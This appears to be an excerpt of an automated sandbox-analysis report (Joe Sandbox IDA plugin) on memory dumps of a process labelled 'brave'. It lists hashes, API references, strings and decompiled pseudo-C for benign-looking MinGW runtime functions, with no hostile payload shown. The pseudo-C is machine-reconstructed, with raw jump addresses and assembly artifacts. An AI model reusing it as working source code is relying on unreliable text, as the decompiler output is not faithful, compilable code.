Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction ID: 9510ebfd80d10d14f0c2ce547be9ecfec2acb09831c7fcfa0c4470720a2331a5
Opcode Fuzzy Hash: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction Fuzzy Hash: 54512A97B0459642FE14BA36EE042F892919F45FE8FDC4231EE2C8B7D1ED1CEA818310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA5670 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 202stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF755EA5699
memcmp.MSVCRT ref: 00007FF755EA56BA
memcmp.MSVCRT ref: 00007FF755EA5746
memcmp.MSVCRT ref: 00007FF755EA57C5

Part of subcall function 00007FF755EB1250: strlen.MSVCRT ref: 00007FF755EB126E

memcmp.MSVCRT ref: 00007FF755EA5861

Strings

basic_string::compare, xrefs: 00007FF755EA56F4, 00007FF755EA577C, 00007FF755EA57FB, 00007FF755EA5897, 00007FF755EA58B0
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EA56FB, 00007FF755EA5783, 00007FF755EA5802, 00007FF755EA589E, 00007FF755EA58B7

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction ID: fe4a3d8228be426885878b8202abe03264f805cd07cebf29e2c5e4d570fdc6e9
Opcode Fuzzy Hash: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction Fuzzy Hash: 5C51E696B0559681FE14BA36EE442E593909F44FF8FDC4232EE2C5B7D5EE1CE9828310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAD5D0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EAD5D0(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0x55ead5f6;
				if (_t18 == 0) goto 0x55ead662;
				if (_t17 - 0xf > 0) goto 0x55ead630;
				if (_t17 != 1) goto 0x55ead620;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff755ead5d8
0x7ff755ead5df
0x7ff755ead5e3
0x7ff755ead5e6
0x7ff755ead5ef
0x7ff755ead5f4
0x7ff755ead5fa
0x7ff755ead600
0x7ff755ead602
0x7ff755ead607
0x7ff755ead60a
0x7ff755ead60e
0x7ff755ead61a

Strings

string::string, xrefs: 00007FF755EAD7E8
basic_string::_M_construct null not valid, xrefs: 00007FF755EAD662
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EAD745, 00007FF755EAD79F, 00007FF755EAD7EF
basic_string::_M_create, xrefs: 00007FF755EAD66E, 00007FF755EAD702
basic_string::basic_string, xrefs: 00007FF755EAD73E, 00007FF755EAD798

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction ID: 49b8199eac092673c1555ee8106001b8de39641526ab174f0bf295455b37052a
Opcode Fuzzy Hash: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction Fuzzy Hash: 4F51F576F05B6584EB14BF25E9441B8A364FB58FA8BCC4632DA6D0B381EE3CD956C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAD020 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EAD020(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0x55ead046;
				if (_t18 == 0) goto 0x55ead0b2;
				if (_t17 - 0xf > 0) goto 0x55ead080;
				if (_t17 != 1) goto 0x55ead070;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff755ead028
0x7ff755ead02f
0x7ff755ead033
0x7ff755ead036
0x7ff755ead03f
0x7ff755ead044
0x7ff755ead04a
0x7ff755ead050
0x7ff755ead052
0x7ff755ead057
0x7ff755ead05a
0x7ff755ead05e
0x7ff755ead06a

Strings

string::string, xrefs: 00007FF755EAD238
basic_string::_M_construct null not valid, xrefs: 00007FF755EAD0B2
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EAD195, 00007FF755EAD1EF, 00007FF755EAD23F
basic_string::_M_create, xrefs: 00007FF755EAD0BE, 00007FF755EAD152
basic_string::basic_string, xrefs: 00007FF755EAD18E, 00007FF755EAD1E8

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction ID: 4d5ec6756847d65969515672f84042821cc94f2daca4e0ef5306dfa03e4ec101
Opcode Fuzzy Hash: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction Fuzzy Hash: F351B676F09B6584EB10BF25E9441B8B364FB14FA8BD84632CA5D0B381EE3CD956D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E95560 Relevance: 10.6, APIs: 7, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF755E95560(void* __ecx, void* __rax, long long __rcx, void* __rdx, void* __r12, void* __r13) {
				int _t39;
				int _t42;
				void* _t81;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr _t88;
				intOrPtr _t91;
				intOrPtr _t93;
				long _t95;
				intOrPtr* _t97;
				intOrPtr* _t98;
				long long _t120;

				_t81 = __rax;
				_t120 = __rcx;
				E00007FF77FF755E92D40(__ecx, __rdx);
				 *((long long*)(_t81 + 8)) = _t120;
				if ( *((intOrPtr*)(_t81 + 0x1d8)) == 0) goto 0x55e95589;
				E00007FF77FF755E93280(_t81,  *((intOrPtr*)(_t81 + 0x1d8)));
				if (( *(_t81 + 0x40) & 0x00000030) == 0) goto 0x55e95628;
				_t97 =  *0x56136920; // 0x7ff756141400
				_t82 =  *_t97;
				if (_t82 == 0) goto 0x55e95609;
				if ( *((long long*)(_t82 + 0x30)) != 0) goto 0x55e95622;
				 *((long long*)( *_t97 + 0x30)) = 0x56132bd8;
				TlsGetValue(_t95);
				if (0x56132bd8 == 0) goto 0x55e95600;
				if ( *0x7FF756132C00 == 0) goto 0x55e9563a;
				 *0x7FF756132C94 = 1;
				r13d =  *0x7FF756132BE0;
				if ( *((intOrPtr*)(0x7ff756132c08)) == 0) goto 0x55e955eb;
				CloseHandle(__r12);
				 *((long long*)(0x7ff756132c08)) = 0;
				if (( *0x7FF756132C1C & 0x00000004) != 0) goto 0x55e9568d;
				__imp___endthreadex();
				E00007FF77FF755E97060();
				if ( *((long long*)(0x7ff756132c08)) == 0) goto 0x55e955a9;
				_t84 =  *_t97;
				if (_t84 != 0) goto 0x55e95622;
				E00007FF77FF755E97060();
				goto 0x55e955b7;
				_t18 = _t97 + 0xd0; // 0xd0
				__imp__longjmp();
				 *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x30)))) = 0xdeadbeef;
				if (_t18 == 0) goto 0x55e9564b;
				_t39 = CloseHandle(__r13);
				 *((long long*)(0x7ff756132c08)) = 0;
				r13d =  *((intOrPtr*)(0x7ff756132be0));
				E00007FF77FF755E92D20(_t39, 0x56132bd8);
				_t86 =  *_t97;
				if (_t86 == 0) goto 0x55e956d6;
				if ( *((long long*)(_t86 + 0x30)) != 0) goto 0x55e956c0;
				 *((long long*)(_t86 + 0x30)) = 0x56132bd8;
				TlsSetValue(??, ??);
				goto 0x55e95600;
				 *0x56132bd8 = 0xdeadbeef;
				_t42 = CloseHandle(??);
				 *((long long*)(0x7ff756132c00)) = 0;
				E00007FF77FF755E92D20(_t42, 0x56132bd8);
				_t88 =  *_t97;
				if (_t88 == 0) goto 0x55e956f4;
				if ( *((long long*)(_t88 + 0x30)) == 0) goto 0x55e956c6;
				goto 0x55e9567e;
				 *((long long*)( *_t97 + 0x30)) = 0x56132bd8;
				goto 0x55e9567e;
				E00007FF77FF755E97060();
				_t91 =  *_t97;
				if ( *((long long*)(0x7ff756132c08)) == 0) goto 0x55e95670;
				if (_t91 != 0) goto 0x55e956c0;
				E00007FF77FF755E97060();
				goto 0x55e956c0;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t91 + 0x30)) == 0) goto 0x55e956c6;
				goto 0x55e956e8;
				asm("o16 nop [cs:eax+eax]");
				_push(_t97);
				_t98 =  *0x56136920; // 0x7ff756141400
				_t93 =  *_t98;
				if (_t93 == 0) goto 0x55e95760;
				if ( *((long long*)(_t93 + 0x18)) != 0) goto 0x55e95780;
				 *((long long*)(_t93 + 0x18)) = 0x561413d0;
				if ( *0x561413d0 == 0) goto 0x55e95750;
				E00007FF77FF755E92D40( *0x561413d0, 0x561413d0);
				if (0x561413d0 == 0) goto 0x55e95750;
				if ( *0x7FF7561413F0 <= 0) goto 0x55e95790;
				return 0;
			}

0x7ff755e95560
0x7ff755e95569
0x7ff755e9556c
0x7ff755e95578
0x7ff755e95582
0x7ff755e95584
0x7ff755e9558d
0x7ff755e95593
0x7ff755e9559a
0x7ff755e955a0
0x7ff755e955a7
0x7ff755e955b3
0x7ff755e955b9
0x7ff755e955c5
0x7ff755e955d0
0x7ff755e955d2
0x7ff755e955dc
0x7ff755e955e3
0x7ff755e955e5
0x7ff755e955eb
0x7ff755e955fa
0x7ff755e95603
0x7ff755e95609
0x7ff755e95613
0x7ff755e95615
0x7ff755e9561b
0x7ff755e9561d
0x7ff755e95626
0x7ff755e95628
0x7ff755e95634
0x7ff755e9563a
0x7ff755e95643
0x7ff755e95645
0x7ff755e9564b
0x7ff755e95657
0x7ff755e9565c
0x7ff755e95661
0x7ff755e95667
0x7ff755e9566e
0x7ff755e95677
0x7ff755e95682
0x7ff755e95688
0x7ff755e95692
0x7ff755e9569a
0x7ff755e956a3
0x7ff755e956ac
0x7ff755e956b1
0x7ff755e956b7
0x7ff755e956be
0x7ff755e956c4
0x7ff755e956d0
0x7ff755e956d4
0x7ff755e956d6
0x7ff755e956de
0x7ff755e956e6
0x7ff755e956eb
0x7ff755e956ed
0x7ff755e956f2
0x7ff755e956f4
0x7ff755e956fe
0x7ff755e95703
0x7ff755e95705
0x7ff755e95710
0x7ff755e95715
0x7ff755e9571c
0x7ff755e95722
0x7ff755e95729
0x7ff755e95732
0x7ff755e9573d
0x7ff755e9573f
0x7ff755e95747
0x7ff755e9574e
0x7ff755e95757

APIs

Part of subcall function 00007FF755E92D40: TlsGetValue.KERNEL32 ref: 00007FF755E92DA0

TlsGetValue.KERNEL32 ref: 00007FF755E955B9
CloseHandle.KERNEL32 ref: 00007FF755E955E5
_endthreadex.MSVCRT ref: 00007FF755E95603
longjmp.MSVCRT ref: 00007FF755E95634
CloseHandle.KERNEL32 ref: 00007FF755E95645
TlsSetValue.KERNEL32 ref: 00007FF755E95682
CloseHandle.KERNEL32 ref: 00007FF755E9569A

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CloseHandleValue$_endthreadexlongjmp
String ID:
API String ID: 3990644698-0
Opcode ID: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction ID: c3fe1338691ead7bbf1639192ad07909d5a9dacfca456b2f419370ae64fbacbd
Opcode Fuzzy Hash: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction Fuzzy Hash: 30510829A09B5681EB64AF12E554379A6B4FF44F48F8D5036CE0D0B3A2EF3CA445C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E978B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E978B0(void* __edx, intOrPtr* __rcx) {
				intOrPtr _t19;
				intOrPtr _t23;
				void* _t28;
				intOrPtr* _t29;

				_t29 =  *0x56136920; // 0x7ff756141400
				_t19 =  *_t29;
				r12d = __edx;
				if (_t19 == 0) goto 0x55e97948;
				if ( *((long long*)(_t19 + 0xa0)) != 0) goto 0x55e97968;
				 *((long long*)(_t19 + 0xa0)) = 0x56132be8;
				E00007FF77FF755E98830(0x56132be8, _t28);
				if ( *((intOrPtr*)( *__rcx)) != 0xbab1f0ed) goto 0x55e979a9;
				if ( *((intOrPtr*)( *__rcx + 4)) <= 0) goto 0x55e979a9;
				 *((intOrPtr*)( *__rcx + 4)) =  *((intOrPtr*)( *__rcx + 4)) - 1;
				_t23 =  *_t29;
				if (_t23 == 0) goto 0x55e97978;
				if ( *((long long*)(_t23 + 0xa0)) != 0) goto 0x55e979a0;
				 *((long long*)(_t23 + 0xa0)) = 0x56132be8;
				E00007FF77FF755E98870(0x56132be8);
				return r12d;
			}

0x7ff755e978b8
0x7ff755e978bf
0x7ff755e978c5
0x7ff755e978cb
0x7ff755e978d5
0x7ff755e978e2
0x7ff755e978e9
0x7ff755e978f7
0x7ff755e97905
0x7ff755e9790e
0x7ff755e97912
0x7ff755e97918
0x7ff755e97922
0x7ff755e9792b
0x7ff755e97932
0x7ff755e97942

Strings

Assertion failed: (%s), file %s, line %d, xrefs: 00007FF755E979CD
., xrefs: 00007FF755E979B4
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 00007FF755E979C3
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 00007FF755E979BC

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: (((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$.$Assertion failed: (%s), file %s, line %d$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c
API String ID: 0-3957588491
Opcode ID: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction ID: ef8145a06700023ea51c4450389ce851ee3ba5f84519606cdc8fa1b24fcb0a2c
Opcode Fuzzy Hash: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction Fuzzy Hash: 86314A2AA0975A85EA24BB19E5003B9A7B0FB46F48FCD8175DA4D4B391DF3CE449C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8F130 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00007FF77FF755E8F130(void* __ecx, void* __eflags, char* __rax, long long __rdx, void* __r8) {
				intOrPtr _t7;
				void* _t12;
				long long _t23;
				int _t24;
				struct _CRITICAL_SECTION* _t33;
				struct _CRITICAL_SECTION* _t36;

				asm("lodsb");
				if (__eflags > 0) goto 0x55e8f15d;
				 *((intOrPtr*)(__rax - 0x77)) =  *((intOrPtr*)(__rax - 0x77)) + __ecx;
				asm("sbb eax, 0x2b2065");
				if ( *__rax != 0) goto 0x55e8f016;
				E00007FF77FF755EA1B50(_t12, 0x7ff755e8ef50);
				goto 0x55e8f016;
				asm("o16 nop [cs:eax+eax]");
				_t7 =  *0x561411b0; // 0x0
				if (_t7 == 0) goto 0x55e8f200;
				if (__r8 == 0) goto 0x55e8f1a5;
				if (__r8 == 0x561411a0) goto 0x55e8f1a5;
				r8d = 0x2b;
				0x55ea1790();
				calloc(_t24);
				if (0x561411a0 == 0) goto 0x55e8f200;
				 *0x561411a0 = 0x7ff755e8ef50;
				 *0x7FF7561411A8 = __rdx;
				EnterCriticalSection(_t36);
				_t23 =  *0x561411a8; // 0x0
				 *0x561411a8 = 0x561411a0;
				 *0x7FF7561411B0 = _t23;
				LeaveCriticalSection(_t33);
				return 0;
			}

0x7ff755e8f130
0x7ff755e8f131
0x7ff755e8f133
0x7ff755e8f136
0x7ff755e8f13e
0x7ff755e8f14b
0x7ff755e8f150
0x7ff755e8f155
0x7ff755e8f167
0x7ff755e8f175
0x7ff755e8f17e
0x7ff755e8f18a
0x7ff755e8f18c
0x7ff755e8f1a0
0x7ff755e8f1af
0x7ff755e8f1ba
0x7ff755e8f1bc
0x7ff755e8f1c6
0x7ff755e8f1ca
0x7ff755e8f1d0
0x7ff755e8f1de
0x7ff755e8f1e5
0x7ff755e8f1e9
0x7ff755e8f1f8

APIs

_assert.MSVCRT ref: 00007FF755E8F1A0
calloc.MSVCRT ref: 00007FF755E8F1AF
EnterCriticalSection.KERNEL32 ref: 00007FF755E8F1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF755E8F1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF755E8F199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF755E8F192

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave_assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 4191840866-4180103562
Opcode ID: 89d225980ee264ff5e357f890741bd0a0885e460cb129bedeac4b07323f812ca
Instruction ID: 03ae63dcb4384828583980f6f87ed7375e1811bb581daf8b2a5127cc2a6a7065
Opcode Fuzzy Hash: 89d225980ee264ff5e357f890741bd0a0885e460cb129bedeac4b07323f812ca
Instruction Fuzzy Hash: 61216D6AE1D79285FB12BB60FD412B5A6A0AF54B95FCD0030C91C4B292FE2CA985C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E99F30 Relevance: 10.5, APIs: 7, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E99F30(void* __edx, void* __rcx, void* __r8) {

				r12d = __edx;
				if (__r8 == 0) goto 0x55e99fa1;
				if (__rcx != 0) goto 0x55e99f60;
				if (r12d != 0) goto 0x55e99f8d;
				return r12d;
			}

0x7ff755e99f3a
0x7ff755e99f40
0x7ff755e99f45
0x7ff755e99f4a
0x7ff755e99f56

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF755E99F60
OpenProcess.KERNEL32 ref: 00007FF755E99F77
CloseHandle.KERNEL32 ref: 00007FF755E99F85
_errno.MSVCRT ref: 00007FF755E99FA1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
